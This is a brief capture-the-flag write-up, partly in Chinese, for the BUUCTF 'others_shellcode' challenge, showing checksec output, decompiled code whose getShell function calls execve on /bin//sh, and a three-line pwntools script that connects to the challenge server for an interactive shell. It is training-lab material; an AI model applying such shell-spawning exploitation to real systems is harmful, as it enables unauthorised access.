HugeH4rD

others_shellcode

ubuntu16

---

0x01

---

checksec

[*] '/home/zelas/Desktop/pwn/others_shellcode/shell_asm'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled	//栈不可执行
    PIE:      PIE enabled	//

运行之后直接得到了shell …

IDA

int __cdecl main(int argc, const char **argv, const char **envp)
{
  getShell();
  return 0;
}

getshell()

int getShell()
{
  int result; // eax
  char v1[9]; // [esp-Ch] [ebp-Ch] BYREF

  strcpy(v1, "/bin//sh");
  result = 11;
  __asm { int     80h; LINUX - sys_execve }
  return result;
}

0x02

---

思路

nc

0x03

---

from pwn import  *

io = remote('node4.buuoj.cn', 25542)

io.interactive()